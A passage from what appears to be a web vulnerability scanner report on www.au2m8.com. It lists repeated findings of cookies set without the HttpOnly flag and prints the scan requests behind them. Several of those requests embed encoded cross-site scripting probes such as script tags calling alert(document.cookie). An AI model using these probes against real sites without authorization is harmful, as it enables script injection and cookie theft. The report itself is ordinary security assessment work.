The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/ HTTP/1.1
Host: www.au2m8.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: bpl1296950982=1296947382; countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1296950951=1296947351; bpl1296950905=1296947305; bpl1297002333=1296998733; bpl1296950890=1296947290; bpl1296950921=1296947321; bpl1297002238=1296998638; bpl1297002318=1296998718; videoID=expired; bpl1297002302=1296998702; bpl1297002287=1296998687; bpl1296950936=1296947336; j2playlist=4881; auto=expired; bpl1296950967=1296947367; playlist=5731%2C4881; bpl1297002348=1296998748;

Response

15.363. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

bpl1297015062=1297011462; expires=Sun, 06-Feb-2011 17:57:42 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:57:42 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:57:42 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:57:42 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=47865&pID=11909&skinName=light&t=620692&pr=www.kledy.es%2F&psource=www.kledy.es%2F&poR=http%3A%2F%2Fburp%2Fshow%2F65&poS=http%3A%2F%2Fwww.kledy.es%2F%3Fbc891%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E5d09625540c%3D1&jr=1&jr=2&jr=3&jr=4&jr=5&jr=6 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=47865&pID=11909&skinName=light&t=620692&pr=www.kledy.es%2F&psource=www.kledy.es%2F&poR=http%3A%2F%2Fburp%2Fshow%2F65&poS=http%3A%2F%2Fwww.kledy.es%2F%3Fbc891%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E5d09625540c%3D1&jr=1&jr=2&jr=3&jr=4&jr=5
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012232=1297008632; bpl1297012271=1297008671; bpl1297012287=1297008687; bpl1297012302=1297008702; bpl1297012317=1297008717; bpl1297012335=1297008735; bpl1297012351=1297008751; bpl1297012352=1297008752; bpl1297012366=1297008766; bpl1297012367=1297008767; bpl1297012383=1297008783; bpl1297012398=1297008798; bpl1297012414=1297008814; bpl1297012429=1297008829; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

15.364. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

bpl1297012626=1297009026; expires=Sun, 06-Feb-2011 17:17:06 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:17:06 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:17:06 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:17:06 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=328905&pID=11909&skinName=light&pw=350&ph=250&wmode=window&t=912519&pr=www.kledy.it%2F&psource=www.kledy.it%2F&poR=http%3A%2F%2Fburp%2Fshow%2F67&poS=http%3A%2F%2Fwww.kledy.it%2F%3F44921%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E107b665304c%3D1&jr=1&jr=2&jr=3&jr=4&jr=5&jr=6 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=328905&pID=11909&skinName=light&pw=350&ph=250&wmode=window&t=912519&pr=www.kledy.it%2F&psource=www.kledy.it%2F&poR=http%3A%2F%2Fburp%2Fshow%2F67&poS=http%3A%2F%2Fwww.kledy.it%2F%3F44921%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E107b665304c%3D1&jr=1&jr=2&jr=3&jr=4&jr=5
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012232=1297008632; bpl1297012271=1297008671; bpl1297012287=1297008687; bpl1297012302=1297008702; bpl1297012317=1297008717; bpl1297012335=1297008735; bpl1297012351=1297008751; bpl1297012352=1297008752; bpl1297012366=1297008766; bpl1297012367=1297008767; bpl1297012383=1297008783; bpl1297012398=1297008798; bpl1297012414=1297008814; bpl1297012429=1297008829; bpl1297012444=1297008844; bpl1297012486=1297008886; bpl1297012502=1297008902; bpl1297012517=1297008917; bpl1297012532=1297008932; bpl1297012533=1297008933; bpl1297012548=1297008948; bpl1297012549=1297008949; bpl1297012563=1297008963; bpl1297012564=1297008964; bpl1297012569=1297008969; bpl1297012579=1297008979; bpl1297012585=1297008985; bpl1297012595=1297008995; bpl1297012601=1297009001; bpl1297012610=1297009010; bpl1297012620=1297009020; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

15.365. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

bpl1297016474=1297012874; expires=Sun, 06-Feb-2011 18:21:14 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 18:21:14 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 18:21:14 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 17:21:14 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/ HTTP/1.1
Host: www.au2m8.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: bpl1296950982=1296947382; countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1296950951=1296947351; bpl1296950905=1296947305; bpl1297002333=1296998733; bpl1296950890=1296947290; bpl1296950921=1296947321; bpl1297002238=1296998638; bpl1297002318=1296998718; videoID=expired; bpl1297002302=1296998702; bpl1297002287=1296998687; bpl1296950936=1296947336; j2playlist=4881; auto=expired; bpl1296950967=1296947367; playlist=5731%2C4881; bpl1297002348=1296998748;

Response

15.366. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

bpl1297012445=1297008845; expires=Sun, 06-Feb-2011 17:14:05 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:14:05 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:14:05 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:14:05 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=47865&pID=11909&skinName=light&t=620692&pr=www.kledy.es%2F&psource=www.kledy.es%2F&poR=http%3A%2F%2Fburp%2Fshow%2F65&poS=http%3A%2F%2Fwww.kledy.es%2F%3Fbc891%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E5d09625540c%3D1&jr=1&jr=2&jr=3&jr=4&jr=5&jr=6 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=47865&pID=11909&skinName=light&t=620692&pr=www.kledy.es%2F&psource=www.kledy.es%2F&poR=http%3A%2F%2Fburp%2Fshow%2F65&poS=http%3A%2F%2Fwww.kledy.es%2F%3Fbc891%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E5d09625540c%3D1&jr=1&jr=2&jr=3&jr=4&jr=5
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012232=1297008632; bpl1297012271=1297008671; bpl1297012287=1297008687; bpl1297012302=1297008702; bpl1297012317=1297008717; bpl1297012335=1297008735; bpl1297012351=1297008751; bpl1297012352=1297008752; bpl1297012366=1297008766; bpl1297012367=1297008767; bpl1297012383=1297008783; bpl1297012398=1297008798; bpl1297012414=1297008814; bpl1297012429=1297008829; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

15.367. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

bpl1297013515=1297009915; expires=Sun, 06-Feb-2011 17:31:55 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:31:55 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:31:55 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:31:55 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=328905&pID=11909&skinName=light&pw=350&ph=250&wmode=window&t=912519&pr=www.kledy.it%2F&psource=www.kledy.it%2F&poR=http%3A%2F%2Fburp%2Fshow%2F67&poS=http%3A%2F%2Fwww.kledy.it%2F%3F44921%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E107b665304c%3D1&jr=1&jr=2&jr=3&jr=4&jr=5&jr=6 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=328905&pID=11909&skinName=light&pw=350&ph=250&wmode=window&t=912519&pr=www.kledy.it%2F&psource=www.kledy.it%2F&poR=http%3A%2F%2Fburp%2Fshow%2F67&poS=http%3A%2F%2Fwww.kledy.it%2F%3F44921%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E107b665304c%3D1&jr=1&jr=2&jr=3&jr=4&jr=5
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012232=1297008632; bpl1297012271=1297008671; bpl1297012287=1297008687; bpl1297012302=1297008702; bpl1297012317=1297008717; bpl1297012335=1297008735; bpl1297012351=1297008751; bpl1297012352=1297008752; bpl1297012366=1297008766; bpl1297012367=1297008767; bpl1297012383=1297008783; bpl1297012398=1297008798; bpl1297012414=1297008814; bpl1297012429=1297008829; bpl1297012444=1297008844; bpl1297012486=1297008886; bpl1297012502=1297008902; bpl1297012517=1297008917; bpl1297012532=1297008932; bpl1297012533=1297008933; bpl1297012548=1297008948; bpl1297012549=1297008949; bpl1297012563=1297008963; bpl1297012564=1297008964; bpl1297012569=1297008969; bpl1297012579=1297008979; bpl1297012585=1297008985; bpl1297012595=1297008995; bpl1297012601=1297009001; bpl1297012610=1297009010; bpl1297012620=1297009020; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

15.368. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

bpl1297002287=1296998687; expires=Sun, 06-Feb-2011 14:24:47 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 14:24:47 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 14:24:47 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 13:24:47 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=26263692aa%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E395e61b488b&pID=11909&skinName=light&t=685356&pr=www.kledy.de%2Fbookmarks.php&psource=www.kledy.de%2Fbookmarks.php&poR=http%3A%2F%2Fburp%2Fshow%2F34&poS=http%3A%2F%2Fwww.kledy.de%2Fbookmarks.php%3F18fe2%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Eef67307aec5%3D1&jr=1&jr=2 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=26263692aa%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E395e61b488b&pID=11909&skinName=light&t=685356&pr=www.kledy.de%2Fbookmarks.php&psource=www.kledy.de%2Fbookmarks.php&poR=http%3A%2F%2Fburp%2Fshow%2F34&poS=http%3A%2F%2Fwww.kledy.de%2Fbookmarks.php%3F18fe2%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Eef67307aec5%3D1&jr=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; bpl1297002238=1296998638; videoID=expired; auto=expired; playlist=5731; j2playlist=4881; ARPT=NQJKKYS192.168.100.219CKOWU

Response

15.369. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

bpl1297014691=1297011091; expires=Sun, 06-Feb-2011 17:51:31 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:51:31 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:51:31 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:51:31 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

15.370. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

bpl1297018429=1297014829; expires=Sun, 06-Feb-2011 18:53:49 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 18:53:49 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 18:53:49 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 17:53:49 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=328795&pID=11909&skinName=light&pw=350&ph=250&wmode=window&t=370468&pr=www.peppernews.eu%2F&psource=www.peppernews.eu%2F&poR=http%3A%2F%2Fburp%2Fshow%2F97&poS=http%3A%2F%2Fwww.peppernews.eu%2F%3Fd7d65%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253Ef6336f06cd4%3D1&jr=1&jr=2&jr=3 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=328795&pID=11909&skinName=light&pw=350&ph=250&wmode=window&t=370468&pr=www.peppernews.eu%2F&psource=www.peppernews.eu%2F&poR=http%3A%2F%2Fburp%2Fshow%2F97&poS=http%3A%2F%2Fwww.peppernews.eu%2F%3Fd7d65%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253Ef6336f06cd4%3D1&jr=1&jr=2
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012585=1297008985; bpl1297012595=1297008995; bpl1297012601=1297009001; bpl1297012610=1297009010; bpl1297012620=1297009020; bpl1297012626=1297009026; bpl1297012636=1297009036; bpl1297012651=1297009051; bpl1297012667=1297009067; bpl1297016038=1297012438; bpl1297016059=1297012459; bpl1297016091=1297012491; bpl1297016107=1297012507; bpl1297016122=1297012522; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

15.371. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

bpl1297014819=1297011219; expires=Sun, 06-Feb-2011 17:53:39 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:53:39 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:53:39 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:53:39 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=47865&pID=11909&skinName=light&t=620692&pr=www.kledy.es%2F&psource=www.kledy.es%2F&poR=http%3A%2F%2Fburp%2Fshow%2F65&poS=http%3A%2F%2Fwww.kledy.es%2F%3Fbc891%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E5d09625540c%3D1&jr=1&jr=2&jr=3&jr=4 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=47865&pID=11909&skinName=light&t=620692&pr=www.kledy.es%2F&psource=www.kledy.es%2F&poR=http%3A%2F%2Fburp%2Fshow%2F65&poS=http%3A%2F%2Fwww.kledy.es%2F%3Fbc891%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E5d09625540c%3D1&jr=1&jr=2&jr=3
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012232=1297008632; bpl1297012271=1297008671; bpl1297012287=1297008687; bpl1297012302=1297008702; bpl1297012317=1297008717; bpl1297012335=1297008735; bpl1297012351=1297008751; bpl1297012352=1297008752; bpl1297012366=1297008766; bpl1297012367=1297008767; bpl1297012383=1297008783; bpl1297012398=1297008798; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

15.372. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

bpl1297015329=1297011729; expires=Sun, 06-Feb-2011 18:02:09 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 18:02:09 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 18:02:09 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 17:02:09 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

15.373. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

bpl1297012585=1297008985; expires=Sun, 06-Feb-2011 17:16:25 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:16:25 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:16:25 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:16:25 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=39927&pID=11909&skinName=light&t=62092&pr=www.kledy.us%2F&psource=www.kledy.us%2F&poR=http%3A%2F%2Fburp%2Fshow%2F68&poS=http%3A%2F%2Fwww.kledy.us%2F%3F88099%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E31a8b6ec06f%3D1&jr=1 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=39927&pID=11909&skinName=light&t=62092&pr=www.kledy.us%2F&psource=www.kledy.us%2F&poR=http%3A%2F%2Fburp%2Fshow%2F68&poS=http%3A%2F%2Fwww.kledy.us%2F%3F88099%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E31a8b6ec06f%3D1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012232=1297008632; bpl1297012271=1297008671; bpl1297012287=1297008687; bpl1297012302=1297008702; bpl1297012317=1297008717; bpl1297012335=1297008735; bpl1297012351=1297008751; bpl1297012352=1297008752; bpl1297012366=1297008766; bpl1297012367=1297008767; bpl1297012383=1297008783; bpl1297012398=1297008798; bpl1297012414=1297008814; bpl1297012429=1297008829; bpl1297012444=1297008844; bpl1297012486=1297008886; bpl1297012502=1297008902; bpl1297012517=1297008917; bpl1297012532=1297008932; bpl1297012533=1297008933; bpl1297012548=1297008948; bpl1297012549=1297008949; bpl1297012563=1297008963; bpl1297012564=1297008964; bpl1297012569=1297008969; bpl1297012579=1297008979; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

15.374. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

bpl1297014687=1297011087; expires=Sun, 06-Feb-2011 17:51:27 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:51:27 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:51:27 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:51:27 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

15.375. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

bpl1297012595=1297008995; expires=Sun, 06-Feb-2011 17:16:35 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:16:35 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:16:35 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:16:35 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=328905&pID=11909&skinName=light&pw=350&ph=250&wmode=window&t=912519&pr=www.kledy.it%2F&psource=www.kledy.it%2F&poR=http%3A%2F%2Fburp%2Fshow%2F67&poS=http%3A%2F%2Fwww.kledy.it%2F%3F44921%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E107b665304c%3D1&jr=1&jr=2&jr=3&jr=4 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=328905&pID=11909&skinName=light&pw=350&ph=250&wmode=window&t=912519&pr=www.kledy.it%2F&psource=www.kledy.it%2F&poR=http%3A%2F%2Fburp%2Fshow%2F67&poS=http%3A%2F%2Fwww.kledy.it%2F%3F44921%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E107b665304c%3D1&jr=1&jr=2&jr=3
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012232=1297008632; bpl1297012271=1297008671; bpl1297012287=1297008687; bpl1297012302=1297008702; bpl1297012317=1297008717; bpl1297012335=1297008735; bpl1297012351=1297008751; bpl1297012352=1297008752; bpl1297012366=1297008766; bpl1297012367=1297008767; bpl1297012383=1297008783; bpl1297012398=1297008798; bpl1297012414=1297008814; bpl1297012429=1297008829; bpl1297012444=1297008844; bpl1297012486=1297008886; bpl1297012502=1297008902; bpl1297012517=1297008917; bpl1297012532=1297008932; bpl1297012533=1297008933; bpl1297012548=1297008948; bpl1297012549=1297008949; bpl1297012563=1297008963; bpl1297012564=1297008964; bpl1297012569=1297008969; bpl1297012579=1297008979; bpl1297012585=1297008985; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

15.376. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

bpl1297012533=1297008933; expires=Sun, 06-Feb-2011 17:15:33 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:15:33 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:15:33 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:15:33 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=133331&pID=11909&skinName=light&wmode=window&t=106011&pr=www.kledy.eu%2F&psource=www.kledy.eu%2F&poR=http%3A%2F%2Fburp%2Fshow%2F66&poS=http%3A%2F%2Fwww.kledy.eu%2F%3Ff0d30%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E31ed3e6c6d3%3D1&jr=1&jr=2&jr=3 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
